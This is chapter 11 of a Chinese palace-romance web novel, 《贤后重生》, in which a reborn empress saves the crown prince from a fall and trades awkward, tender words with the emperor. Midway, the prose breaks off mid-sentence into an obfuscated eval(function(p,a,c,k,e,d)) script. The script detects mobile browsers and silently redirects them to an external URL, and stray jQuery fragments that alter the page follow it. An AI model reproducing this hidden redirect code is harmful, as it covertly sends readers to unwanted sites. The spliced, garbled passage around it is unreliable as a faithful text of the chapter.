11. 第 11 章

作品:《贤后重生

    太医一路赶来,一下见到陛下、皇后和太子三个不常看见的组合,有些惶然。


    他擦擦不存在的汗,看向吴全,“吴内侍,这...”


    尉迟烈开口,“先给皇后看看”,说着把自己的大氅扔到她膝盖上,一气呵成。


    屋内众人看这动作都倒吸一口气,陛下好狠的心,娘娘膝盖都受伤流血了还把自己的大氅随便脱了扔在皇后身上,当娘娘是什么衣桁吗?!


    绿葵和青萝尤其这样想,绿葵把沈潋膝盖上的大氅捡起来交给吴全,“吴内侍,陛下的大氅。”


    吴全额角跳跳,看了眼脸色愈发难看的陛下,对身后的小顺子道:“去给皇后娘娘拿个大氅来。”


    绿葵和青萝这才想起娘娘衣衫单薄着,她们都没想到拿个大氅来,太粗心了。


    不过,她们没把这事和陛下仍大氅的行为联系在一起。


    沈潋对着太医道:“我没事,你先给太子看看。”


    太医又转过去看太子,太子却说,“先给母后看吧。”


    沈潋也不想让太医转来转去浪费时间,指指左臂:“不知是骨折了还是扭到了,现在动不了了。”


    太医一看,“只是扭到了,娘娘放心,不是骨折,微臣给娘娘正骨理筋一番,之后再拿一个杉木皮固定,再服以活血化瘀的药即可。”


    不久,沈潋的左手被架起挂在脖子上,有些滑稽。


    之后,太医又去看尉迟烈,却被他闪开,“她腿上还有伤呢,你瞎啊。”


    太医点点头,慢吞吞转过去,有些犹豫,沈潋看出他的心思,对着绿葵道:“绿葵你按照太医的吩咐,给我上药。”


    太医脸上露出一个感激的笑。


    尉迟烈就没有沈潋那么幸运了,他的左臂不仅骨折还划伤了,应该是接住母子俩时在地上划到了石头。


    在固定之前还要复位,“咔嚓”一声听得沈潋都揪心,尉迟烈鼻子额头都出了许多汗,最后也由杉木固定再由布带架在头上。


    最后太医给太子全身检查了一番,没有大碍,沈潋才真正放心下来。


    太医走后,尉迟烈审视着这间屋子,看着站在一端的太子问:“怎么住在这里?”


    沈潋也有这疑问,也看向太子。


    安福从后面看着太子,从他这个角度看去,太子是站在陛下和皇后中间的,两人的目光都直直射向太子。


    他突然觉得殿下是如此的小,从前殿下不苟言笑威严十足,如今感觉他也只是一个孩子而已。


    安福站出来说:“回陛下娘娘的话,殿下一直住在清晖院。”


    这下尉迟烈和沈潋还有什么不明白的,沈潋比较平静,尉迟烈却很生气,先是处置了给太子扶梯的安喜,然后气冲冲地走了。


    沈潋知道他是去找太后了,这样也好,沈潋知道尉迟烈虽然对太后不冷不热,但他心里还是对这个母亲有些感情在的,这一次就让他看清一些太后吧。


    沈潋对着太子招手,“方好,你过来。”


    太子走过来,太子的身高随了尉迟烈,才七岁已经很高了。


    他走到她身边,开口的话略带疏离:“母后有什么事?”


    沈潋眼睫颤动了一会儿,把袖子里的东西递过去,“这是你掉的东西吧,我刚才在地上捡到的。”


    是一个香囊,有些眼熟。


    太子一顿,不过马上拿过扔给安福,“这是安喜的,你记得给他。”


    安福拿着手里的香囊,疑惑,这不是他弄丢的皇后娘娘发给宫人的姜片香囊吗,他找了好几日,居然被安喜拿走了。


    他愣了一会儿,就拱手道:“是。”


    屋子里安静了一会儿,沈潋对屋里的众人道:“你们先退下吧,我和太子说说话。”


    那些宫女内侍都下去后,屋子里只剩沈潋和太子。


    沈潋笑着对太子道:“你坐啊,我和你说说话。”


    太子眼里有些不解和诧异,他坐下后,就像往前几年母子俩三月一次见面时的情形一样,不动也不说。


    那时候沈潋也是如此,最后俩人相顾无言,待不到多久就分别。


    这时,太子等着母后与他说一些关心话就离开。


    却听他母后道:“方好,我有许多话与你说,可现在不是说话的时候。”


    太子侧首看过去,只见他母后那双好看的眼睛不再被暗沉遮住眸光,眼里都是柔情和慈爱。


    沈潋继续说:“我会把你从这里接出去,我们一起生活可好?”


    太子眸光波动。


    “母后向你保证,等母后做成一件事,我就把你接过去,搬到昭阳殿。”


    太子眼里的波光消失,他看过去,“母后,您不必为难,我在这里挺好的。”


    “您不要为难自己,太后不会放我离开,舅公也不会希望我这个太子出去的。”


    沈潋看着太子眼睛一眨不眨,酸意突然涌上鼻头眼眶,她马上转过去擦掉眼泪,平静下来之后,她转过头来,故作轻松地说:“母后与从前不一样了,方好要相信你母后呀。”


    可她的心还是好痛,没想到太子小小年纪,已经看透了这一切,亏她还以为太子一直在心里埋怨她这个母亲,想着开解,反倒被他劝解。


    她起身捏捏太子的手,“你等着就是了。”


    沈潋离开以后,太子看着自己的手,再看这空荡荡的房间,刚才人一多觉得这屋子好挤,现在只剩他一个,又觉得这屋子好大好大。


    回去的路上,沈潋心里想着事,一言不发。


    上辈子,太子就是在今晚因为爬墙看烟花掉下来摔断了腿,后来腿治得再好也落了个瘸腿,可以走路,但走起来不好看。


    所以他一直坐轮椅,从不在外人面前走路,后来连她都没见过他走路的样子。


    朝臣尤其是舅舅一党以太子身残为由上奏要尉迟烈废太子,尉迟烈不废,在朝堂上掀桌子踹人的闹了好大动静。


    朝臣们停息了许久,毕竟尉迟烈只有这一个子嗣。


    他们后面又重新起了念头,要充盈后宫,给皇家绵延子嗣,尉迟烈却突然说要出家做道士,这可让那些大臣急坏了,再也没提充盈后宫的事。


    今日才重生第二日,第一日她因为尉迟烈的事忙得脚不沾地,第二日早上她才想着过去看一看太子,同尚宫门商议了事,时间就过去了,连她自己的生辰都忘了,看到那烟花那一刻她才把一切都联系起来。


    不过还好她终于赶上了,她阻止了太子摔断腿,不然她一定不会原谅自己。


    她紧绷的心慢慢松下来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092082|195470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其实她对太子说的事要办成有一定的难度,但是她知道过不久太子就会被尉迟烈带到含元殿亲自教养。


    因此,她也不着急,慢慢来慢慢规划才能把太子接到自己这里来。


    她又想到尉迟烈,他今晚出现在清晖院是个意外,他气冲冲地去找太后,也不知道会发生什么事。


    她走着走着就感觉自己袖口被轻轻拉了一下,是绿葵,她示意她往前看。


    沈潋跟着看过去,就看到站在前头的尉迟烈,他不是去找太后理论了吗,怎么出现在昭阳殿门口?


    宫道的两端,尉迟烈和沈潋面对站着,一人伤了左臂,一人伤了右臂,都架起了手,形成个对称的模样,沈潋看得尴尬。


    她慢慢走过去,尉迟烈也走过来。


    他从上到下扫了一遍沈潋,把她看得不自在,总觉得这人像个流氓,不过与流氓不同的是,尉迟烈一脸郁气。


    他瞧着沈潋盯了一会儿道:“你怎么知道犊儿今日会受伤?”


    “犊儿?”


    哦,对,这是尉迟烈给方好取的小名,也不知道他从哪里听来的,说贱名好养活硬生生给太子取了一个叫‘犊儿’的小名。


    只不过这小名只有他自己一个人叫,太后不会叫,她不会叫,其他人更不会叫,因为太子根本没有几个会叫他小名的亲戚,他的亲戚都只想他死。


    见沈潋发呆,尉迟烈再靠近一点重复一遍,“你怎么知道的?”


    沈潋吸吸鼻子,扬起一个笑容:“我说我昨晚做梦梦到的,你信不信?”


    看她无赖的样子,尉迟烈又无奈又觉得新奇,可他脸上还是那副死样子,他刮走她鼻下的晶莹,擦在她衣服上,“多大人了还挂鼻涕。”


    沈潋石化当场,他他他,他刚刚干了什么,不不不,她流鼻涕了?!


    他还把鼻涕擦在她衣服上!


    沈潋不一会儿就满脸通红,“你你,你真脏。”


    尉迟烈满脸不在意,“不知好歹。”


    沈潋慌乱地摸了摸鼻子,是太冷了,她都没知觉。


    她现在已经不想和他待在一个空间里了,急急就要走。


    尉迟烈抓住她袖子,沈潋回过头来,脸上还有些尴尬的羞意,“有事吗?”


    这下,尉迟烈也有些不好意思了,他被烫到一样放开沈潋的袖子,眼神有些飘忽,声音也很轻,“今日是你生辰...”


    沈潋问他:“对,礼物呢?”


    尉迟烈被问到,有些呆呆地怔然。


    沈潋走进门去,“没有礼物就算了。”


    沈潋走后,尉迟烈看着她的背影越来越小,最后消失不见。


    吴全叹息一声,陛下明明准备了烟花,每年都为娘娘盛放。


    只是今年有些拮据,还是他在库房里找到了昨年剩下的一个烟花,才能在今晚绽放一下。


    冷风呼呼地吹,又开始下雪了。


    吴全兜了兜手,“陛下,娘娘已经走远了,我们回去吧。”


    尉迟烈如同惊弓之鸟,“吴全,你什么意思?”


    吴全深感委屈,他并没有含沙射影啊。


    沈潋那边,绿葵和青萝觉得今晚的陛下和娘娘有些不对劲,他们平日里相处也不这样啊,难不成这是暴风雨之前的宁静?